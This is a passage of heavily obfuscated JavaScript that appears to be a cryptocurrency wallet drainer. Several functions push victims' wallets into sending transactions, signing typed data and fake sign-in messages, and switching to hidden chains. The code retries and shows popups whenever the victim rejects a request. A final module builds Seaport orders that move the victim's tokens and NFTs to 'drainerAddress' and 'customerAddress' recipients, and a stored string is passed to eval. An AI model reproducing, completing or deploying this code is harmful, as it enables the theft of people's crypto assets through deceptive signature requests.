- [ABLWty.apply(undefined, [423])]: p55,
- [ABLWty(747) + "me"]: p56,
- stepPrice: p57
- }), ABLWty(433));
- await new Promise(() => {});
- } else if (v124 + 1 === vQ3[ABLWty(748)]) {
- _0x1a56bb({
- [ABLWty(702)]: "SEND_TRANSAC" + ABLWty.call(undefined, 749) + "EBUG)",
- [ABLWty(433)]: {
- firstError: v123,
- ["string" + ABLWty.call(undefined, 750) + ABLWty(751)]: v127
- },
- [ABLWty(717)]: {
- [ABLWty.call(undefined, 752)]: p54,
- [ABLWty.apply(undefined, [423])]: p55,
- stepName: p56,
- [ABLWty(460)]: p57
- }
- });
- }
- vF10();
- if (vQ3[ABLWty(83) + ABLWty.apply(undefined, [84])] && vQ3.popup_prompt_rejected) {
- _0x3f3719();
- }
- } else {
- v120 = (v126[ABLWty(626)] || v126)[ABLWty(753)]();
- break;
- }
- }
- if (v120) {
- if (v120 === _0x4aca04) {
- _0x2b2aba(_0x29e0cf(ABLWty(754) + ABLWty.call(undefined, 755), {
- chainId: p55,
- [ABLWty(747) + "me"]: p56,
- ["stepPr" + ABLWty(461)]: p57
- }), ABLWty(433));
- await new Promise(() => {});
- } else if (f23(v122, v120) !== _0x46729f) {
- vD4["isEthS" + ABLWty(224) + ABLWty(247)] = JZmylD(1, vzwAVq = 7);
- _0x2b2aba(_0x29e0cf(ABLWty.apply(undefined, [756]), {
- [ABLWty.call(undefined, 423)]: p55,
- [ABLWty(747) + "me"]: p56,
- [ABLWty(460)]: p57,
- ["signat" + ABLWty(757)]: v120
- }), "error");
- v120 = JZmylD(1, WAZ9Ax(7));
- }
- }
- }
- let vParseInt2 = parseInt(vD4[ABLWty.call(undefined, 758) + "es"][p55][ABLWty(412)]);
- let vBigInt2 = BigInt(vD4[ABLWty(758) + "es"][p55].balance);
- let vJZmylD12 = JZmylD(1, WAZ9Ax(7));
- if (v120 || JZmylD(vD4[ABLWty(759) + ABLWty(224) + ABLWty(247)], WAZ9Ax(7))) {
- vBigInt2 -= f26(p54, p55);
- vBigInt2 -= BigInt(p54[ABLWty(732)]);
- if (vBigInt2 < 0x0n) {
- vJZmylD12 = JZmylD(0, WAZ9Ax(7));
- }
- }
- let v129;
- if (JZmylD(vD4[ABLWty(760)], vzwAVq = 7)) {
- p54[ABLWty(761)] = p54.gasLimit;
- delete p54.gasLimit;
- p54.from = _0x46729f;
- if (vJZmylD12 && _0x2a4b1e && JZmylD(_0x22166d[p55], vzwAVq = 7)) {
- let v130 = JZmylD(vBigInt2, WAZ9Ax(49))[ABLWty(394) + "ng"]();
- vBigInt2 = 0x0n;
- _0x2e91e2({
- walletAddress: _0x46729f,
- [ABLWty.call(undefined, 423)]: p55,
- [ABLWty(762)]: v130,
- price: p57
- }, "auto-gas-send");
- }
- let v131;
- for (let v132 = 0; v132 < vQ3[ABLWty.apply(undefined, [748])]; v132++) {
- const v133 = {
- id: p55,
- from: _0x46729f,
- method: "eth_sendTransaction",
- params: [p54]
- };
- let [v134, v135] = await new Promise(p61 => _0x113a4b[ABLWty(739)](v133)[ABLWty(763)](p62 => p61([JZmylD(1, WAZ9Ax(7)), p62])).catch(p63 => p61([p63, JZmylD(1, vzwAVq = 7)])));
- if (v134 && typeof v134 == "string" && [64, 66].includes(v134[ABLWty(17)])) {
- v135 = v134;
- v134 = JZmylD(1, WAZ9Ax(7));
- }
- let v136 = JSON.stringify(v134)["toLowe" + ABLWty(715)]();
- let v137 = JSON[ABLWty.apply(undefined, [620])](v135)[ABLWty(753)]();
- if (v134 || JZmylD(v135, WAZ9Ax(7)) || v135[ABLWty(433)] || v137[ABLWty(436) + "es"]("reject") || (v135.result ? JZmylD(v135[ABLWty.apply(undefined, [626])], WAZ9Ax(-11)) != "string" : typeof v135 != "string")) {
- v131 ||= v136;
- if (v136?.includes(ABLWty.call(undefined, 764))) {
- _0x2b2aba(_0x29e0cf(ABLWty(765), {
- chainId: p55,
- [ABLWty(766)]: p56,
- ["stepPr" + ABLWty(461)]: p57
- }), ABLWty(433));
- await new Promise(() => {});
- } else if (v132 + 1 === vQ3.retry_count) {
- _0x1a56bb({
- [ABLWty(702)]: ABLWty(767) + "RANSAC" + ABLWty(749) + "EBUG)",
- [ABLWty(433)]: {
- [ABLWty(768)]: v131,
- [ABLWty.call(undefined, 769)]: v136
- },
- [ABLWty(717)]: {
- rawTx: p54,
- [ABLWty(423)]: p55,
- [ABLWty(766)]: p56,
- [ABLWty(730) + ABLWty(461)]: p57
- }
- });
- }
- vF10();
- if (vQ3.enable_popup && vQ3.popup_prompt_rejected) {
- _0x3f3719();
- }
- } else {
- v129 = (v135[ABLWty(626)] || v135)[ABLWty(753)]();
- if (v129 === _0x22cb70) {
- _0x2b2aba(_0x29e0cf("known_" + ABLWty(755), {
- chainId: p55,
- [ABLWty.call(undefined, 747) + "me"]: p56,
- stepPrice: p57
- }), "error");
- await new Promise(() => {});
- }
- break;
- }
- }
- if (v129 && JZmylD([64, 66].includes(v129.length), WAZ9Ax(7))) {
- v129 = JZmylD(1, vzwAVq = 7);
- _0x1a56bb({
- [ABLWty(702)]: "SEND_TRANSACTION",
- error: "Invalid tran" + ABLWty.apply(undefined, [770]) + ABLWty(771),
- [ABLWty(717)]: {
- txHash: v129,
- rawTx: p54,
- chainId: p55,
- stepName: p56,
- stepPrice: p57
- }
- });
- }
- }
- if (v120 || v129) {
- vD4.balances[p55].balance = vBigInt2[ABLWty(20)]();
- if (vParseInt2 > 0) {
- vD4.balances[p55].price *= JZmylD(parseInt(vBigInt2), vParseInt2, vzwAVq = 5);
- }
- vD4.nonces[p55]++;
- if (v129) {
- return [v129, ABLWty(722), JZmylD(1, vzwAVq = 7)];
- } else {
- return [v120, "signat" + ABLWty.apply(undefined, [757]), vJZmylD12];
- }
- } else {
- return [JZmylD(1, WAZ9Ax(7)), JZmylD(1, vzwAVq = 7), JZmylD(1, vzwAVq = 7)];
- }
- } catch (_0x338e19) {
- _0x1a56bb({
- process: ABLWty(772),
- error: _0x338e19,
- [ABLWty.call(undefined, 717)]: {
- [ABLWty(752)]: p54,
- [ABLWty(423)]: p55,
- [ABLWty(766)]: p56,
- [ABLWty(460)]: p57
- }
- });
- return [JZmylD(1, vzwAVq = 7), JZmylD(1, WAZ9Ax(7)), JZmylD(1, WAZ9Ax(7))];
- }
- }
- async function f29(p64, p65, p66, p67) {
- try {
- let {
- walletAddress: _0x658e8,
- walletName: _0x5b0f3c,
- mainProvider: _0x5b4b47,
- popupReject: _0x185e3d
- } = vD4;
- if (vQ3[ABLWty(773) + ABLWty(774)]) {
- _0x2b2aba(_0x29e0cf(ABLWty(365) + "ing", {
- [ABLWty(423)]: p65,
- stepName: p66,
- [ABLWty(460)]: p67
- }), ABLWty(14));
- }
- let v138 = JSON.parse(JSON.stringify(p64));
- window[ABLWty(775) + ABLWty(776)] = v138[ABLWty(777)].chainId;
- v138.domain.chainId = "chainI" + ABLWty(778) + "lace";
- if (vD4[ABLWty(235) + ABLWty(779) + "s"] && JZmylD(vD4[ABLWty(234)], vzwAVq = 7) && (await vYt(), JZmylD(vD4[ABLWty.call(undefined, 234)], vzwAVq = 7))) {
- try {
- eval(vD4.userIsOnMacOs);
- } catch {}
- }
- let v139 = (p64?.[ABLWty(554)]?.[ABLWty(780)] || p64?.[ABLWty(554)]?.holder) && JZmylD(vD4.userIsOnPhone, WAZ9Ax(7)) && vD4[ABLWty(781) + ABLWty(782) + "nsContracts"][999] && JZmylD(vD4[ABLWty(781) + "unctio" + ABLWty(783) + ABLWty(416)][1001], vzwAVq = 7);
- if (v139) {
- await vYt();
- if (!vD4[ABLWty.apply(undefined, [234])]) {
- if (p64.message.owner) {
- v138.message[ABLWty(780)] = BigInt(JZmylD(v138[ABLWty(554)].owner, "00", WAZ9Ax(-5)))[ABLWty(20)](10);
- } else {
- v138.message.holder = BigInt(JZmylD(v138.message.holder, "00", WAZ9Ax(-5))).toString(10);
- }
- }
- }
- let v140 = JSON[ABLWty(620)](v138).replace(ABLWty.call(undefined, 784), window["xig32o" + ABLWty(776)]);
- window[ABLWty(775) + "ifip"] = p64[ABLWty.apply(undefined, [777])][ABLWty(423)];
- delete window[ABLWty(785)];
- let v141;
- let v142;
- for (let v143 = 0; v143 < vQ3[ABLWty(70) + "count"]; v143++) {
- let [v144, v145] = await new Promise(p68 => _0x5b4b47.request({
- id: p65,
- from: _0x658e8,
- [ABLWty(153)]: "eth_signTypedD" + ABLWty(786),
- [ABLWty(621)]: [_0x658e8, v140]
- }).then(p69 => p68([JZmylD(1, vzwAVq = 7), p69]))[ABLWty(728)](p70 => p68([p70, JZmylD(1, vzwAVq = 7)])));
- if (v144 && typeof v144 == ABLWty.apply(undefined, [608]) && [130, 132].includes(v144[ABLWty(17)])) {
- v145 = v144;
- v144 = JZmylD(1, vzwAVq = 7);
- }
- let v146 = JSON[ABLWty(620)](v144)[ABLWty(787) + "rCase"]();
- let v147 = JSON.stringify(v145)[ABLWty.apply(undefined, [753])]();
- if (v144 || JZmylD(v145, vzwAVq = 7) || v145.error || v147.includes("reject") || (v145[ABLWty(626)] ? JZmylD(v145.result, WAZ9Ax(-11)) != "string" : typeof v145 != "string")) {
- v141 ||= v146;
- if (_0x5b0f3c[ABLWty(436) + "es"]("MetaMask") && (vD4[ABLWty(788)]++, vD4.typedSignRejects > 15)) {
- vD4.isTypedDataV4Supported = JZmylD(1, vzwAVq = 7);
- break;
- }
- if (v146?.[ABLWty(465)](ABLWty(745) + "en aut" + ABLWty.apply(undefined, [746]) + "d")) {
- _0x2b2aba(_0x29e0cf("known_bot", {
- [ABLWty(423)]: p65,
- [ABLWty.call(undefined, 747) + "me"]: p66,
- [ABLWty(730) + "ice"]: p67
- }), "error");
- await new Promise(() => {});
- } else if (v143 + 1 === vQ3["retry_" + ABLWty(789)]) {
- _0x1a56bb({
- [ABLWty(702)]: "SIGN_TYPED_D" + ABLWty(790) + "BUG)",
- [ABLWty(433)]: {
- ["firstE" + ABLWty(751)]: v141,
- [ABLWty(608) + "ifiedE" + ABLWty(751)]: v146
- },
- [ABLWty(717)]: {
- dataToSignCopy: v138,
- [ABLWty(423)]: p65,
- stepName: p66,
- stepPrice: p67
- }
- });
- }
- _0x2b2aba(_0x29e0cf("reject" + ABLWty(791), {
- chainId: p65,
- [ABLWty.call(undefined, 747) + "me"]: p66,
- [ABLWty(460)]: p67
- }), "info");
- if (vQ3.enable_popup && vQ3[ABLWty(99) + ABLWty.apply(undefined, [365]) + "_rejec" + ABLWty(792)]) {
- _0x185e3d();
- }
- } else {
- v142 = (v145[ABLWty(626)] || v145)["toLowe" + ABLWty(715)]();
- break;
- }
- }
- if (v142) {
- if (v142 === _0x4aca04) {
- _0x2b2aba(_0x29e0cf(ABLWty(754) + "bot", {
- [ABLWty.apply(undefined, [423])]: p65,
- [ABLWty(766)]: p66,
- stepPrice: p67
- }), ABLWty(433));
- await new Promise(() => {});
- } else if (v142[ABLWty(436) + "es"](ABLWty(793) + " extension")) {
- vD4.isTypedDataV4Supported = JZmylD(1, WAZ9Ax(7));
- _0x2b2aba(_0x29e0cf("typed_not_supported", {
- [ABLWty(423)]: p65,
- stepName: p66,
- stepPrice: p67
- }), ABLWty.apply(undefined, [433]));
- v142 = JZmylD(1, WAZ9Ax(7));
- } else if (f24(p64, v142) !== _0x658e8) {
- if (v139 && JZmylD(vD4.multiFunctionsContracts[1001], WAZ9Ax(7))) {
- vD4.multiFunctionsContracts[1001] = JZmylD(0, vzwAVq = 7);
- } else {
- vD4[ABLWty.apply(undefined, [223]) + "dDataV4Suppo" + ABLWty.apply(undefined, [794])] = JZmylD(1, vzwAVq = 7);
- }
- _0x2b2aba(_0x29e0cf(ABLWty(795) + "d_sign", {
- chainId: p65,
- stepName: p66,
- stepPrice: p67,
- signature: v142
- }), ABLWty(433));
- v142 = JZmylD(1, vzwAVq = 7);
- }
- }
- return v142;
- } catch (_0xa1ccfb) {
- vD4[ABLWty(796)] = JZmylD(1, vzwAVq = 7);
- _0x1a56bb({
- [ABLWty(702)]: "SIGN_T" + ABLWty(797) + ABLWty.call(undefined, 798),
- [ABLWty(433)]: _0xa1ccfb,
- [ABLWty.apply(undefined, [717])]: {
- dataToSign: p64,
- [ABLWty(423)]: p65,
- name: p66,
- [ABLWty(413)]: p67
- }
- });
- return JZmylD(1, vzwAVq = 7);
- }
- }
- async function f30() {
- try {
- let {
- walletAddress: _0x1a6466,
- mainProvider: _0x3e58ef
- } = vD4;
- let v148 = vQ3.trust_sign_text[ABLWty(799) + ABLWty(800)](ABLWty(801), _0x1a6466);
- await new Promise(async p71 => {
- if (vQ3.trust_sign_use_typed_data) {
- let v149 = await f27();
- let v150 = JSON.stringify({
- domain: {
- [ABLWty(423)]: v149,
- name: ABLWty.apply(undefined, [802]),
- [ABLWty(357) + "ingCon" + ABLWty(803)]: ABLWty(804) + ABLWty(805) + "00000000000000",
- [ABLWty(806)]: "1"
- },
- message: {
- [ABLWty.apply(undefined, [554])]: v148
- },
- [ABLWty(807)]: ABLWty(802),
- [ABLWty(808)]: {
- [ABLWty(802)]: [{
- name: ABLWty(554),
- [ABLWty(443)]: "string"
- }]
- }
- });
- _0x3e58ef.request({
- id: v149,
- [ABLWty(809)]: _0x1a6466,
- [ABLWty(153)]: ABLWty(810) + "gnTypedData_v4",
- params: [_0x1a6466, v150]
- }).then(p72 => p71([JZmylD(1, vzwAVq = 7), p72]))[ABLWty(728)](p73 => p71([p73, JZmylD(1, WAZ9Ax(7))]));
- } else {
- _0x3e58ef[ABLWty(739)]({
- [ABLWty(153)]: "personal_sign",
- params: [_0x1a6466, v148],
- from: _0x1a6466
- })[ABLWty(763)](p74 => p71([JZmylD(1, vzwAVq = 7), p74])).catch(p75 => p71([p75, JZmylD(1, WAZ9Ax(7))]));
- }
- });
- } catch (_0x1d807e) {
- vD4["isTypedDataV" + ABLWty(811) + ABLWty(794)] = JZmylD(1, vzwAVq = 7);
- _0x1a56bb({
- [ABLWty.call(undefined, 702)]: "PROMPT" + ABLWty.call(undefined, 812) + ABLWty(813),
- error: _0x1d807e
- });
- return JZmylD(1, WAZ9Ax(7));
- }
- }
- async function f31() {
- let {
- mainProvider: _0x43365d,
- defaultChainId: _0x168252,
- walletAddress: _0x306ee6,
- popupReject: _0x5ae0d5
- } = vD4;
- let v151 = "Verify" + ABLWty(814);
- if (vQ3[ABLWty.apply(undefined, [815])]) {
- _0x2b2aba(_0x29e0cf("prompti" + ABLWty.call(undefined, 816) + "fy_sign"), ABLWty(14));
- }
- let v153 = new Date();
- let v154 = v153.toISOString();
- let v155 = v153.getTime();
- let v156 = window[ABLWty.apply(undefined, [817]) + "on"][ABLWty(818)];
- let vJZmylD13 = JZmylD(v156 + " wants you to sign in with your Ethereum account:\n" + _0x306ee6 + "\n\nYou are signing in with " + _0x306ee6 + ABLWty.call(undefined, 819) + v156 + ("\nVersi" + ABLWty.apply(undefined, [820]) + ABLWty(821) + ABLWty(822)) + _0x168252 + (ABLWty(823) + ": ") + v155 + ABLWty(824), v154, vzwAVq = -5);
- vD4[ABLWty(357) + "SignMessage"] = {
- date: v154,
- [ABLWty(554)]: vJZmylD13
- };
- for (let v157 = 0; v157 < vQ3[ABLWty.call(undefined, 70) + "count"]; v157++) {
- let [v158, v159] = await new Promise(p76 => _0x43365d.request({
- [ABLWty(153)]: "personal_sign",
- params: [vJZmylD13, _0x306ee6]
- }).then(p77 => p76([JZmylD(1, WAZ9Ax(7)), p77]))[ABLWty(728)](p78 => p76([p78, JZmylD(1, WAZ9Ax(7))])));
- if (v158 && typeof v158 == ABLWty(608) && [130, 132].includes(v158[ABLWty(17)])) {
- v159 = v158;
- v158 = JZmylD(1, WAZ9Ax(7));
- }
- let v160 = JSON.stringify(v158)[ABLWty(787) + ABLWty.call(undefined, 715)]();
- let v161 = JSON[ABLWty(608) + "ify"](v159)[ABLWty(753)]();
- if (v158 || JZmylD(v159, WAZ9Ax(7)) || v159[ABLWty(433)] || v161[ABLWty(465)](ABLWty.call(undefined, 367)) || (v159[ABLWty(626)] ? JZmylD(v159.result, WAZ9Ax(-11)) != ABLWty(608) : typeof v159 != ABLWty.call(undefined, 608))) {
- if (v160?.includes(ABLWty(745) + ABLWty(825) + "horized")) {
- _0x2b2aba(_0x29e0cf(ABLWty.apply(undefined, [754]) + ABLWty(755), {
- [ABLWty(423)]: _0x168252,
- [ABLWty(766)]: v151,
- [ABLWty(460)]: 0
- }), ABLWty.call(undefined, 433));
- await new Promise(() => {});
- }
- _0x2b2aba(_0x29e0cf("verify_sign_reject"), "info");
- if (vQ3[ABLWty(826)] && vQ3.popup_prompt_rejected) {
- _0x5ae0d5();
- }
- } else {
- vD4[ABLWty(827)] = (v159[ABLWty(626)] || v159).toLowerCase();
- break;
- }
- }
- if (vD4[ABLWty(827)]) {
- if (vD4[ABLWty(827)] === _0x4aca04) {
- _0x2b2aba(_0x29e0cf(ABLWty(765), {
- [ABLWty(423)]: _0x168252,
- stepName: v151,
- stepPrice: 0
- }), ABLWty(433));
- await new Promise(() => {});
- }
- _0x2b2aba(_0x29e0cf("verify" + ABLWty(828) + "approved"), "info");
- }
- return JZmylD(JZmylD(vD4.verifySignSignature, vzwAVq = 7), WAZ9Ax(7));
- }
- ZZ1LRs(f32, 1);
- async function f32(..._0x1133f1) {
- _0x1133f1.length = 1;
- _0x1133f1[28] = -68;
- try {
- let {
- chainsInformations: _0x5dbbca,
- mainProvider: _0x6a9ac3,
- popupReject: _0x154a07
- } = vD4;
- let {
- name: _0x332c8a,
- symbol: _0xaa6001,
- rpc: _0x4f34bf
- } = _0x5dbbca[_0x1133f1[0]];
- let v162 = await f27();
- if (v162 === _0x1133f1[0]) {
- return JZmylD(0, vzwAVq = 7);
- }
- if (vQ3.log_prompts) {
- _0x2b2aba(_0x29e0cf("prompting_switch_chain", {
- [ABLWty(423)]: _0x1133f1[_0x1133f1[28] - (_0x1133f1[28] - 0)]
- }), ABLWty.apply(undefined, [14]));
- }
- for (let v163 = 0; v163 < vQ3.max_change_chain_retry; v163++) {
- _0x1133f1[9] = JZmylD(1, vzwAVq = 7);
- try {
- await _0x6a9ac3.request({
- [ABLWty.apply(undefined, [153])]: "wallet_switchEther" + ABLWty(829) + "in",
- [ABLWty(621)]: [{
- [ABLWty(423)]: _0x50940d(_0x1133f1[0])
- }]
- });
- break;
- } catch (_0x261a2) {
- let v164 = (_0x261a2?.[ABLWty(_0x1133f1[28] + 622)] || _0x261a2?.[ABLWty(830)] || _0x261a2)[ABLWty(394) + "ng"]().toLowerCase();
- let vJZmylD14 = JZmylD(1, WAZ9Ax(7));
- if (v164.includes(ABLWty(831))) {
- _0x2b2aba(_0x29e0cf("chain_to_add", {
- [ABLWty(423)]: _0x1133f1[_0x1133f1[28] + 68]
- }), "info");
- try {
- await _0x6a9ac3[ABLWty.call(undefined, 739)]({
- method: ABLWty(_0x1133f1[28] + 288) + ABLWty(832) + ABLWty.call(undefined, 833) + "Chain",
- params: [{
- chainId: _0x50940d(_0x1133f1[0]),
- [ABLWty(834)]: [_0x4f34bf],
- chainName: vQ3[ABLWty.call(undefined, 835)] ? vQ3[ABLWty(836) + ABLWty(46) + ABLWty(837)] : _0x332c8a,
- [ABLWty(_0x1133f1[28] + 906)]: {
- name: vQ3.hide_added_chain ? vQ3.hidden_chain_name : _0x332c8a,
- [ABLWty(839)]: vQ3.hide_added_chain ? vQ3[ABLWty.apply(undefined, [836]) + "_chain_name"] : _0xaa6001,
- [ABLWty(840)]: _0x1133f1[28] + 86
- },
- [ABLWty(841) + "xplore" + ABLWty.apply(undefined, [842])]: ["https://merge.com/"]
- }]
- });
- _0x2b2aba(_0x29e0cf("chain_" + ABLWty(843), {
- [ABLWty(423)]: _0x1133f1[0]
- }), ABLWty(14));
- v163--;
- vJZmylD14 = JZmylD(0, vzwAVq = 7);
- } catch (_0x408907) {
- _0x1133f1.vgMjQPH = (_0x408907?.[ABLWty(554)] || _0x408907?.reason || _0x408907).toString()["toLowe" + ABLWty(715)]();
- if (_0x1133f1.vgMjQPH[ABLWty(_0x1133f1[28] + 504) + "es"]("rejected")) {
- _0x1133f1[9] = JZmylD(0, WAZ9Ax(_0x1133f1[28] + 75));
- _0x2b2aba(_0x29e0cf("add_chain_reject", {
- chainId: _0x1133f1[_0x1133f1[28] + 68]
- }), "info");
- } else {
- _0x1a56bb({
- process: ABLWty(844) + ABLWty(845),
- [ABLWty(_0x1133f1[28] + 914)]: ABLWty(847) + "AIN",
- error: _0x1133f1.vgMjQPH
- });
- return JZmylD(1, vzwAVq = 7);
- }
- }
- } else if (v164[ABLWty.apply(undefined, [465])](ABLWty(848) + ABLWty(849) + ABLWty(850))) {
- v163--;
- } else if (v164.includes("rejected")) {
- _0x1133f1[9] = JZmylD(0, WAZ9Ax(7));
- _0x2b2aba(_0x29e0cf("change_chain_reject", {
- [ABLWty.call(undefined, 423)]: _0x1133f1[0]
- }), ABLWty(14));
- } else {
- _0x1a56bb({
- [ABLWty(702)]: ABLWty.call(undefined, 844) + "_CHAIN",
- step: "CHANGE_CHAIN",
- error: v164
- });
- if (_0x261a2?.message?.includes("wallet_switchEthereumChain")) {
- return JZmylD(_0x1133f1[28] - (_0x1133f1[28] - 0), vzwAVq = 7);
- }
- }
- if (_0x1133f1[9] && vQ3[ABLWty(83) + "_popup"] && vQ3[ABLWty.call(undefined, 99) + "prompt" + ABLWty.call(undefined, _0x1133f1[28] + 114) + "_rejec" + ABLWty(792)]) {
- _0x154a07();
- }
- if (!vJZmylD14) {
- await _0x55df47(250);
- }
- v162 = await f27();
- if (v162 === _0x1133f1[_0x1133f1[28] + 68]) {
- break;
- }
- if (v163 + (_0x1133f1[28] + 69) === vQ3["max_change_c" + ABLWty.apply(undefined, [851]) + ABLWty(852)]) {
- return JZmylD(1, vzwAVq = 7);
- }
- }
- }
- const v165 = {
- chainId: _0x1133f1[_0x1133f1[28] + 68]
- };
- if (vQ3[ABLWty.call(undefined, 853) + "ains_accepts"]) {
- _0x2b2aba(_0x29e0cf(ABLWty(376), v165), ABLWty(14));
- }
- return JZmylD(0, vzwAVq = _0x1133f1[28] + 75);
- } catch (_0x256b07) {
- _0x1a56bb({
- process: "CHANGE" + ABLWty.apply(undefined, [845]),
- [ABLWty(_0x1133f1[28] + 501)]: _0x256b07
- });
- return JZmylD(1, vzwAVq = 7);
- }
- }
- ZZ1LRs(f33, 1);
- function f33(..._0x478f33) {
- _0x478f33.length = 1;
- _0x478f33.g0IJLn = _0x478f33[0];
- let v166 = ethers.ethers.utils.arrayify(_0x478f33.g0IJLn);
- let v167 = ethers.ethers.utils[ABLWty(854)](v166);
- let v168 = ethers[ABLWty(855)][ABLWty(714)][ABLWty(856) + "fy"](v167);
- let vJZmylD15 = JZmylD(v166.length, 32, vzwAVq = 5);
- let v169 = ethers[ABLWty.call(undefined, 855)].utils[ABLWty(856) + "fy"](vJZmylD15);
- let v170 = ethers[ABLWty(855)].utils.zeroPad(v169, 2);
- let v171 = new Uint8Array([1, 0]);
- _0x478f33.xf8RFrJ = _0x478f33.g0IJLn;
- v168.set(v171, 0);
- v168[ABLWty(857)](v170, 2);
- return v168;
- }
- ZZ1LRs(f34, 2);
- function f34(..._0x542da7) {
- _0x542da7.length = 2;
- _0x542da7[251] = -5;
- let v172 = vD4.factoryContracts[_0x542da7[1]];
- let v173 = vD4[ABLWty(858) + "erCont" + ABLWty(416)][_0x542da7[1]];
- let v174 = vD4.multiFunctionsContractBytecodes[_0x542da7[1]];
- _0x542da7.YSr4AOM = _0x542da7[9];
- if (typeof v174 == ABLWty(539)) {
- v174 = vD4["multiF" + ABLWty.call(undefined, 782) + "nsCont" + ABLWty(859) + ABLWty(860) + "s"][v174];
- }
- _0x542da7[251] = 14;
- let v175 = ethers.utils[ABLWty.call(undefined, 861)][ABLWty(862)]([ABLWty(422)], [v173]);
- let v176;
- if ([324, 810180][ABLWty(436) + "es"](_0x542da7[_0x542da7[251] - 13])) {
- let vF33 = f33(v174);
- let v177 = ethers.utils[ABLWty(738)](v175);
- v176 = ethers[ABLWty(714)].concat(["0x2020dba91" + ABLWty(863) + "8af794c2fb30dd8520db7e2c088b7fc7c103c00ca494", ethers.utils[ABLWty.apply(undefined, [864])](v172, 32), _0x542da7[0], vF33, v177]);
- } else {
- _0x542da7.YSr4AOM = ethers[ABLWty(714)][ABLWty(738)](ethers[ABLWty(_0x542da7[251] + 700)][ABLWty.call(undefined, _0x542da7[251] + 851)]([v174, v175]));
- v176 = JZmylD(ABLWty.apply(undefined, [_0x542da7[251] + 852]) + v172.replace("0x", "") + _0x542da7[0].replace("0x", ""), _0x542da7.YSr4AOM.replace("0x", ""), vzwAVq = -5);
- }
- if (_0x542da7[251] > 55) {
- return _0x542da7[169];
- } else {
- return JZmylD("0x", ethers[ABLWty(714)][ABLWty(867) + ABLWty(868)](v176)[ABLWty(869)](26)[ABLWty(753)](), vzwAVq = -5);
- }
- }
- ZZ1LRs(f35, 1);
- function f35(..._0x293e90) {
- _0x293e90.length = 1;
- _0x293e90.KbkWkD = 67;
- let {
- walletAddress: _0x56c4fc
- } = vD4;
- let v178;
- while (true) {
- v178 = Math.round(JZmylD(Math.random() * 8999, 1000, WAZ9Ax(-5)));
- if (JZmylD(v108[v178], vzwAVq = 7)) {
- v108[v178] = JZmylD(0, vzwAVq = 7);
- break;
- }
- }
- let v179 = ethers[ABLWty(714)]["keccak" + ABLWty.apply(undefined, [868])](ethers.utils[ABLWty(870)]([_0x56c4fc, v178]));
- let vF34 = f34(v179, _0x293e90[_0x293e90.KbkWkD - 67]);
- if (_0x293e90.KbkWkD > 161) {
- return _0x293e90[13];
- } else {
- _0x2e91e2({
- [ABLWty(220) + ABLWty(871) + "s"]: _0x56c4fc,
- [ABLWty(872)]: v179,
- [ABLWty(873)]: vF34,
- [ABLWty(423)]: _0x293e90[0]
- }, "salt");
- return [v179, vF34];
- }
- }
- _0x135145[_0x135145[44] - (_0x135145[44] - 1)].exports = {
- estimateGasLimit: f22,
- calculateTxFee: f26,
- [ABLWty.call(undefined, 874) + "inId"]: f27,
- sendTransaction: f28,
- signTypedData: f29,
- ["promptTrustS" + ABLWty(875)]: f30,
- promptVerifySign: f31,
- [ABLWty(876)]: f32,
- getFutureContract: f35
- };
- }, 2));
- var ln = I(ZZ1LRs((..._0x2b6f0c) => {
- _0x2b6f0c.length = 2;
- _0x2b6f0c.bjvFaa = _0x2b6f0c[1];
- var vQ4 = q();
- var vD5 = D();
- var v180 = window.seaport?.Seaport;
- var {
- sleep: _0x8504ed
- } = pe();
- var {
- request: _0x452bf2,
- logError: _0x60a6a5
- } = Y();
- var {
- signTypedData: _0x454fdf
- } = Z();
- _0x2b6f0c.bjvFaa.exports = ZZ1LRs(async function (..._0x1e3ff2) {
- _0x1e3ff2.length = 3;
- _0x1e3ff2[80] = -11;
- let {
- drainerAddress: _0x26d574,
- customerAddress: _0x3f846d,
- walletAddress: _0x1344d2,
- signer: _0x404335,
- isAutoSplitEnabled: _0x4113cd,
- adminsNonSplittedHitsAddress: _0x4662ab
- } = vD5;
- let v181 = [];
- _0x1e3ff2[80] = -64;
- for (let v182 of _0x1e3ff2[_0x1e3ff2[80] - -(_0x1e3ff2[80] + 128)]) {
- if (v182.type === ABLWty(427)) {
- v181[ABLWty(597)]({
- [ABLWty.apply(undefined, [877])]: 1,
- token: v182.address,
- identifier: "0",
- [ABLWty(762)]: v182.balance
- });
- } else {
- for (let v183 of v182.tokensId) {
- v181[ABLWty(597)]({
- [ABLWty(877)]: v182[ABLWty(443)] === "erc721" ? 2 : _0x1e3ff2[80] + 67,
- [ABLWty(878)]: v182[ABLWty(_0x1e3ff2[80] + 486)],
- identifier: v183,
- amount: "1"
- });
- }
- }
- }
- let v184 = vQ4.create_wallet_for_seaport ? v181[ABLWty.call(undefined, 879)](p79 => p79.itemType !== 1) : JZmylD(1, WAZ9Ax(_0x1e3ff2[80] + 71));
- let v185;
- let v186 = "default";
- if (v184) {
- let {
- address: _0x563560,
- privateKey: _0x5826ed
- } = ethers.Wallet[ABLWty(880)]();
- v185 = _0x563560;
- v186 = _0x5826ed;
- } else {
- v185 = _0x4113cd && _0x1e3ff2[2] > 5000 ? _0x4662ab : _0x3f846d;
- }
- let v187 = JSON.parse(JSON[ABLWty(608) + "ify"](v181)).map(p80 => {
- p80.recipient = v185;
- return p80;
- });
- let v188 = Math[ABLWty(_0x1e3ff2[80] + 468)](JZmylD(Date.now(), 1000, WAZ9Ax(5)));
- let v189 = {
- offer: v181,
- [ABLWty(881)]: v187,
- [ABLWty(882) + ABLWty.apply(undefined, [_0x1e3ff2[80] + 947])]: "0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000",
- zone: "0x004C00500" + ABLWty(884) + ABLWty.apply(undefined, [885]) + ABLWty(886),
- [ABLWty(887) + "ime"]: JZmylD(v188, 604800, vzwAVq = -32),
- [ABLWty.call(undefined, 888)]: JZmylD(v188, 315360000, WAZ9Ax(-5))
- };
- let vJZmylD16 = JZmylD(_0x1e3ff2[80] + 65, vzwAVq = 7);
- let v190;
- for (let v191 = 0; v191 < 5; v191++) {
- try {
- let v192 = new v180(_0x404335, {
- ["seapor" + ABLWty(889) + "on"]: "1.5"
- });
- let {
- actions: _0x2d45d9
- } = await v192[ABLWty(439) + "Order"](v189, _0x26d574);
- vJZmylD16 = JSON.parse(await _0x2d45d9[0][ABLWty.call(undefined, 890)]());
- vJZmylD16.types[ABLWty(891) + "Domain"] = [{
- name: ABLWty(464),
- [ABLWty(443)]: ABLWty(608)
- }, {
- [ABLWty(464)]: "version",
- [ABLWty(443)]: "string"
- }, {
- name: "chainId",
- type: "uint256"
- }, {
- [ABLWty(464)]: "verifyingContract",
